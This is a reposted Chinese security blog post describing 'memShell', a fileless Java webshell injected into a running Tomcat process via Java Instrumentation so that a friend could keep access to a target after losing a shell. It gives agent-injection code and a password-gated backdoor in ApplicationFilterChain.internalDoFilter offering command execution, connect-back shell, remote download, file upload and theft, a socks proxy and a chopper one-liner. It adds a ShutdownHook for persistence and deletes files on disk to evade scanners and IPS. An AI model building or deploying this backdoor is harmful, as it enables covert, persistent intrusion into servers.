1. 程式人生 > >【原創】利用“程序注入”實現無檔案不死webshell

【原創】利用“程序注入”實現無檔案不死webshell

引子

  上週末,一個好兄弟找我說一個很重要的目標shell丟了,這個shell之前是通過一個S2程式碼執行的漏洞拿到的,現在漏洞還在,不過web目錄全部不可寫,問我有沒有辦法搞個webshell繼續做內網。正好我之前一直有個通過“程序注入”來實現記憶體webshell的想法,於是就趁這個機會以Java為例做了個記憶體webshell出來(暫且叫它memShell吧),給大家分享一下:)

前言

  一般在滲透過程中,我們通常會用到webshell,一個以檔案的形式存在於Web容器內的惡意指令碼檔案。我們通過webshell來讓Web Server來執行我們的任意指令。如果在某些機選情況下,我們不想或者不能在Web目錄下面寫入檔案,是不是就束手無策了?當然不是,寫入webshell並不是讓Web Server來執行我們任意程式碼的唯一方式,通過直接修改程序的記憶體也可以實現這個目的。我們只要擁有一個web容器程序執行使用者的許可權,理論上就可以完全控制該程序的地址空間(更確切的說是地址空間中的非Kernel部分),包括地址空間內的資料和程式碼。OS層程序注入的方法有很多,不過具體到Java環境,我們不需要使用作業系統層面的程序注入方法。Java為我們提供了更方便的介面,Java Instrumentation。

Java Instrumentation簡介

  先看下官方概念:java Instrumentation指的是可以用獨立於應用程式之外的代理(agent)程式來監測和協助執行在JVM上的應用程式。這種監測和協助包括但不限於獲取JVM執行時狀態,替換和修改類定義等。簡單一句話概括下:Java Instrumentation可以在JVM啟動後,動態修改已載入或者未載入的類,包括類的屬性、方法。該機制最早於Java SE5 引入,Java SE6之後的機制相對於Java SE5有較大改進,因為現在Java SE5這種古董級別的環境已經不多,此處不再贅述。

下面看一個簡單的例子:首先新建3個Java工程Example、Agent和AgentStarter。

1.在工程Example中新建2個類:

Bird.java:

public class Bird {

    public void say()
    {
        System.out.println("bird is gone.");
    }
}

然後把編譯後的Bird.class複製出來,放到D盤根目錄。然後把Bird.java再改成如下:

Bird.java:

public class Bird {
    public void say()
    {
        System.out.println("bird say hello");
    }
}

Main.java:

public class Main {
    public static void main(String[] args) throws Exception {
        // TODO Auto-generated method stub

        while(true)
        {
            Bird bird=new Bird();
            bird.say();
            Thread.sleep(3000);
        }    
    }
}

把整個工程打包成可執行jar包normal.jar,放到D盤根目錄。

2.在工程Agent中新建2個類:

AgentEntry.java:

public class AgentEntry { 
   public static void agentmain(String agentArgs, Instrumentation inst) 
           throws ClassNotFoundException, UnmodifiableClassException, 
           InterruptedException { 
       inst.addTransformer(new Transformer (), true); 
        Class[] loadedClasses = inst.getAllLoadedClasses();
        for (Class c : loadedClasses) {
            if (c.getName().equals("Bird")) {
                try {
                    inst.retransformClasses(c);
                } catch (Exception e) {
                    // TODO Auto-generated catch block
                    e.printStackTrace();
                }
            }
        }
       System.out.println("Class changed!"); 
   } 
}

Transformer.java:

public class Transformer implements ClassFileTransformer { 

   static byte[] mergeByteArray(byte[]... byteArray) {
       int totalLength = 0;
       for(int i = 0; i < byteArray.length; i ++) {
           if(byteArray[i] == null) {
               continue;
           }
           totalLength += byteArray[i].length;
       }

       byte[] result = new byte[totalLength];
       int cur = 0;
       for(int i = 0; i < byteArray.length; i++) {
           if(byteArray[i] == null) {
               continue;
           }
           System.arraycopy(byteArray[i], 0, result, cur, byteArray[i].length);
           cur += byteArray[i].length;
       }

       return result;
   }
   public static byte[] getBytesFromFile(String fileName) { 
       try { 
           byte[] result=new byte[] {};
           InputStream is = new FileInputStream(new File(fileName)); 
           byte[] bytes = new byte[1024];
           int num = 0;
           while ((num = is.read(bytes)) != -1) {
               result=mergeByteArray(result,Arrays.copyOfRange(bytes, 0, num));       
           }
           is.close();
           return result; 
       } catch (Exception e) { 
           e.printStackTrace();
           return null;
       } 
   } 

   public byte[] transform(ClassLoader classLoader, String className, Class<?> c, 
           ProtectionDomain pd, byte[] b) throws IllegalClassFormatException { 
       if (!className.equals("Bird")) { 
           return null; 
       } 
       return getBytesFromFile("d:/Bird.class"); 

   } 
}

新建一個mainfest檔案:

MAINFEST.MF:

Manifest-Version: 1.0 
Agent-Class: AgentEntry
Can-Retransform-Classes: true

然後把Agent工程打包為agent.jar,放到D盤根目錄。

3.在AgentStarter工程中新建1個類:

Attach.java:

public class Attach {

    public static void main(String[] args) throws Exception {

        VirtualMachine vm = null;
        List<VirtualMachineDescriptor> listAfter = null;
        List<VirtualMachineDescriptor> listBefore = null;
        listBefore = VirtualMachine.list();
        while (true) {
            try {
                listAfter = VirtualMachine.list();
                if (listAfter.size() <= 0)
                    continue;
                for (VirtualMachineDescriptor vmd : listAfter) {
                    vm = VirtualMachine.attach(vmd);
                    listBefore.add(vmd);
                    System.out.println("i find a vm,agent.jar was injected.");
                    Thread.sleep(1000);
                    if (null != vm) {
                        vm.loadAgent("d:/agent.jar");
                        vm.detach();
                    }
                }
                break;

            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    }
}

把AgentStarter打包成可執行jar包run.jar,放到D盤根目錄。這時候,D盤根目錄列表如下:

下面開啟兩個命令列視窗,先執行normal.jar,再執行run.jar:

很明顯我們動態改變了正在執行的normal.jar程序中Bird類的say方法體。OK,基本原理就介紹到這裡,下面我們拿tomcat來實操。

確定關鍵類

  我們想要實現這樣一種效果,訪問web伺服器上的任意一個url,無論這個url是靜態資源還是jsp檔案,無論這個url是原生servlet還是某個struts action,甚至無論這個url是否真的存在,只要我們的請求傳遞給tomcat,tomcat就能相應我們的指令。為了達到這個目的,需要找一個特殊的類,這個類要儘可能在http請求呼叫棧的上方,又不能與具體的URL有耦合,而且還能接受客戶端request中的資料。經過分析,發現org.apache.catalina.core.ApplicationFilterChain類的internalDoFilter方法最符合我們的要求,首先看一下internalDoFilter方法的原型:

 private void internalDoFilter(ServletRequest request, ServletResponse response)
        throws IOException, ServletException {}

該方法有ServletRequest和ServletResponse兩個引數,裡面封裝了使用者請求的request和response。另外,internalDoFilter方法是自定義filter的入口,如下圖:

  市面上各種流行的Java Web類框架,都是通過一個自定義filter來接管使用者請求的,所以在在internalDoFilter方法中注入通用型更強。下面我們要做的就是修改internalDoFilter方法的位元組碼,一般用asm或者javaassist來協助修改位元組碼。asm執行效能高,不過易用性差,一般像RASP這種對效能要求比較高的產品會優先採用。javaassist執行效能稍差,不過是原始碼級的,易用性較好,本文即用此方法。

定製internalDoFilter

  internalDoFilter是memShell接收使用者請求的入口,我們在方法開始處插入如下的程式碼段(節選):

try
{
    if (pass_the_world!=null&&pass_the_world.equals("rebeyond"))
           {
                if (model==null||model.equals(""))
                {
                    result=Shell.help();
                }
                else if (model.equalsIgnoreCase("exec"))
                {
                    String cmd=request.getParameter("cmd");
                    result=Shell.execute(cmd);
                }
                else if (model.equalsIgnoreCase("connectback"))
                {
                    String ip=request.getParameter("ip");
                    String port=request.getParameter("port");
                    result=Shell.connectBack(ip, port);
                }
                else if (model.equalsIgnoreCase("urldownload"))
                {
                    String url=request.getParameter("url");
                    String path=request.getParameter("path");
                    result=Shell.urldownload(url, path);
                }
                else if (model.equalsIgnoreCase("list"))
                {
                    String path=request.getParameter("path");
                    result=Shell.list(path);
                }
                else if (model.equalsIgnoreCase("download"))
                {
                    String path=request.getParameter("path");
                    java.io.File f = new java.io.File(path);
                    if (f.isFile()) {
                        String fileName = f.getName();
                        java.io.InputStream inStream = new java.io.FileInputStream(path);
                        response.reset();
                        response.setContentType("bin");
                        response.addHeader("Content-Disposition", "attachment; filename=\"" + fileName + "\"");
                        byte[] b = new byte[100];
                        int len;
                            while ((len = inStream.read(b)) > 0)
                                response.getOutputStream().write(b, 0, len);
                            inStream.close();
                            return;

                    }
                }
                else if (model.equalsIgnoreCase("upload"))
                {
                    String path=request.getParameter("path");
                    String fileContent=request.getParameter("fileContent");
                    result=Shell.upload(path, fileContent);
                }
                else if (model.equalsIgnoreCase("proxy"))
                {
                    new Proxy().doProxy(request, response);
                    return;
                }
                else if (model.equalsIgnoreCase("chopper"))
                {
                    new Evaluate().doPost(request, response);
                    return;
                }
                response.getWriter().print(result);
                return;
            }

        }
        catch(Exception e)
        {
            response.getWriter().print(e.getMessage());
        }

  首先判斷是否有pass_the_world密碼欄位,如果請求中沒有帶pass_the_world欄位,說明是正常的訪問請求,直接轉到正常的處理流程中去,不進入webshell流程,避免影響正常業務。如果請求中有pass_the_world欄位且密碼正確,再判斷當前請求的model型別,分別分發到不通的處理分支中去。為了避免對internalDoFilter自身做太大的改動,我把一些比較複雜的邏輯抽象到了外部agent.jar中去實現,由於外部jar包和javax.servlet相關的類classloader不一致,外部jar包中用到了反射的方法去執行一些無法找到的類,比如ServletRquest、ServletResponse等。

  最終我們生成了2個jar包,一個inject.jar(功能類似前文demo中的run.jar),用來列舉當前機器上的jvm例項並進行程式碼注入。一個agent.jar,包含我們自定義的常見shell類功能,agent.jar會被inject.jar注入到tomcat程序中。執行java –jar inject.jar完成程序注入動作之後,可以把這兩個jar包刪除,這樣我們就擁有了一個memShell,完全存在於記憶體中的webshell,硬碟上沒有任何痕跡,再也不用擔心各種webshell掃描工具,IPS,頁面防篡改系統,一切看上去好像很完美。

  但是……

  記憶體中的資料,在程序關閉後就會丟失,如果tomcat被重啟,我們的webshell也會隨之消失,那豈不是然並卵?當然不是。

復活技術

  既然文章標題提到了我們要實現的是不死webshell,就一定要保證在tomcat服務重啟後還能存活。memShell通過設定Java虛擬機器的關閉鉤子ShutdownHook來達到這個目的。ShutdownHook是JDK提供的一個用來在JVM關掉時清理現場的機制,這個鉤子可以在如下場景中被JVM呼叫:

  • 1.程式正常退出
  • 2.使用System.exit()退出
  • 3.使用者使用Ctrl+C觸發的中斷導致的退出
  • 4.使用者登出或者系統關機
  • 5.OutofMemory導致的退出
  • 6.Kill pid命令導致的退出所以ShutdownHook可以很好的保證在tomcat關閉時,我們有機會埋下復活的種子:)如下為我們自定義的ShutdownHook程式碼片段:

     public static void persist() {
         try {
             Thread t = new Thread() {
                 public void run() {
                     try {
                         writeFiles("inject.jar",Agent.injectFileBytes);
                         writeFiles("agent.jar",Agent.agentFileBytes);
                         startInject();
                     } catch (Exception e) {
    
                     }
                 }
             };
             t.setName("shutdown Thread");
             Runtime.getRuntime().addShutdownHook(t);
         } catch (Throwable t) {
         }

JVM關閉前,會先呼叫writeFiles把inject.jar和agent.jar寫到磁碟上,然後呼叫startInject,startInject通過Runtime.exec啟動java -jar inject.jar。

memShell流程梳理

  下面我們來梳理一下memShell的整個植入流程:

  • 1.將inject.jar和agent.jar上傳至目標Web Server任意目錄下。
  • 2.以tomcat程序啟動的OS使用者執行java –jar inject.jar。
  • 3.inject.jar會通過一個迴圈遍歷查詢Web Server上的JVM程序,並把agent.jar注入進JVM程序中,直到注入成功後,inject.jar才會退出。
  • 4.注入成功後,agent.jar執行agentmain方法,該方法主要做以下幾件事情:
    • a) 遍歷所有已經載入的類,查詢“org.apache.catalina.core.ApplicationFilterChain”,並對該類的internalDoFilter方法進行修改。
    • b) 修改完之後,把磁碟上的inject.jar和agent.jar讀進tomcat記憶體中。
    • c) 對memShell做初始訪問。為什麼要做一次初始化訪問呢?因為我們下一步要從磁碟上刪掉agent.jar和inject.jar,在刪除之前如果沒有訪問過memShell的話,memShell相關的一些類就不會載入進記憶體,這樣後續我們在訪問memShell的時候就會報ClassNotFound異常。有兩種方法初始化類,第一是挨個把需要的類手動載入一次,第二是模擬做一次初始化訪問,memShell採用的後者。
    • d) 刪除磁碟上的inject.jar和agent.jar。當Web Server是Linux系統的時候,正常刪除檔案即可。當Web Server是Windows系統的時候,由於Windows具有檔案鎖定機制,當一個檔案被其他程式佔用時,這個檔案是處於鎖定狀態不可刪除的,inject.jar正在被JVM所佔用。要刪除這個jar包,需要先開啟該程序,遍歷該程序的檔案控制代碼,通過DuplicateHandle來巧妙的關閉檔案控制代碼,然後再執行刪除,我把這個查詢控制代碼、關閉控制代碼的操作寫進了一個exe中,memShell判斷WebServer是Windows平臺時,會先釋放這個exe檔案來關閉控制代碼,再刪除agent.jar。
  • 5.memShell注入完畢,正常接收請求,通過訪問http://xxx/anyurl?show_the_world=password可以看到plain風格的使用說明(為什麼是plain風格,因為懶)。
  • 6.當JVM關閉時,會首先執行我們註冊的ShutdownHook:
    • a)把第4(b)步中我們讀進記憶體的inject.jar和agent.jar寫入JVM臨時目錄。
    • b)執行java -jar inject.jar,此後過程便又回到上述第3步中,形成一個閉環結構。

到此,memShell的整個流程就介紹完畢了。

memShell用法介紹

  • 1.memShell實現了常見的webshell的功能,像命令執行:
  • 2.memShell通過內嵌reGeorg實現了socks5代理轉發功能,方便內網滲透: 這裡要說明一下,因為reGeorg官方的reGeorgSocksProxy.py不支援帶引數的URL,所有我們要稍微改造一下reGeorgSocksProxy.py:

    把第375行改成上圖所示即可。

  • 3.memShell內嵌了菜刀一句話:

  • 4.只設置訪問密碼,不設定model型別可檢視plain style的help:

後記

  本文僅以Java+tomcat為例來介紹記憶體webshell的原理及實現,其他幾種容器如JBOSS、WebLogic等,只是“定位關鍵類”那一步稍有不同,其他環節都是通用的。理論上其他幾種語言同樣可以實現類似的功能,我就算給大家拋磚引玉了。

  最後,華為終端雲SilverNeedle團隊誠招各路安全人才(APT方向),待遇優厚,歡迎推薦和自薦:)

參考